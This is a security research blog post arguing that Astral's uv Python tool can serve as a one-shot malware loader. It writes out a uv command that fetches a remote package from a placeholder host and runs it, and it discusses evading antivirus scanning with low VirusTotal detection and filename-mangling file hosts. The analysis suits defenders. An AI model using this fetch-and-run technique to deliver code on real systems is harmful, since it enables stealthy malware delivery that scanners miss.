=================================
== Investigations by 0xFantasy ==
=================================

Next-Gen Python Malware: Leveraging Astral's UV as a One-Shot Loader

default malware python

Rise of Interpreted Language Malware

Python- and JavaScript-based malware has become increasingly popular within the last few years. Specifically, the DPRK’s Contagious Interview campaign has leveraged both languages (BeaverTail and InvisibleFerret) using a variety delivery methods. Most recently, VSCode tasks.json files have been leveraged since the end of 2025 as a one-click infection vector.

Other APT groups have also been seen leveraging Python-based malware, including Void Blizzard, aka UAC-0190. In early 2026, PLUGGYAPE, a modular Python loader communicating over MQTT, was reported by CERT-UA.

Shortly after this, the Smokest Stealer malware family was identified which specifically leveraged Deno, a JavaScript runtime similar to Node.js. However, Deno is an unusual choice of runtime: it is much newer than Node.js and has a significantly smaller user base.

This led me to start thinking about other new runtimes that have been gaining popularity.

Astral: UV

Astral Software is a relatively new company focused on building Python developer tooling, including ruff, uv, and ty. UV, specifically, is a cross-platform, all-in-one version manager, project manager, and script runner. It states that it aims to replace “pip, pip-tools, pipx, poetry, pyenv, twine, virtualenv, and more.”

Surely This Can’t Be a Malware Loader

With the aim of replacing all the previously mentioned tools, a surprising amount of functionality can be packed into a single uv command. Including, but not limited to, isolated Python installations, ephemeral dependency management, and running in-line scripts.

This functionality removes a lot of restrictions Python malware developers previously faced. Common limitations included being restricted to only native libraries (e.g., urllib) and either having to package a Python runtime within another stager or attempt to LOLBin an existing Python runtime.

Another hurdle with Python malware is that developers typically either have to expose their entire script as a CLI arg or write it to disk before executing. This gives ample opportunity for AV engines to inspect what is being run. UV allows dependencies to be specified via CLI flag while executing a script, dynamically fetching and installing the required packages at runtime. Because UV is pip-compatible, this means that packages can also be installed using the package @ URI syntax either as a .whl or .tar.gz distribution from any remote host.

This has two benefits: it significantly minimizes the amount of Python code that must be included as a CLI arg (it can end up being as simple as import package; package.main()), and it allows payload delivery in a format that is unusual for AV scanners. While the package contents are eventually written to disk temporarily, this can complicate initial static analysis.

Take the following uv command as an example:

uv run --no-project --no-cache --python 3.13 \
--with "library @ https://remote-host.com/package.tar.gz" \ 
python -c "import library; library.func()"
  • uv run = Run a script
  • --no-project --no-cache = Do not use local files; install packages fresh; then delete everything
  • --python 3.13 = Install and use UV’s managed version of Python 3.13
  • --with "library @ https://remote-host.com/package.tar.gz" = Include “library” as a dependency and install it from a remote URL
  • python -c "import library; library.func()" = Run the Python interpreter, import the library, and immediately invoke a function

One caveat between .whl and .tar.gz file formats is that while both have strict naming conventions (.whl; .tar.gz), enforcement only applies to .whl files. This allows .tar.gz files to be arbitrarily named, which has the added benefit of enabling the use of public file-hosting services that manipulate filenames (e.g., Catbox, Uguu, Pomf file hosting, etc.).

Using the following example package and including the EICAR string as a comment in main.py, the resulting distribution files received, at most, 2 detections on VirusTotal (.whl scan; .tar.gz scan).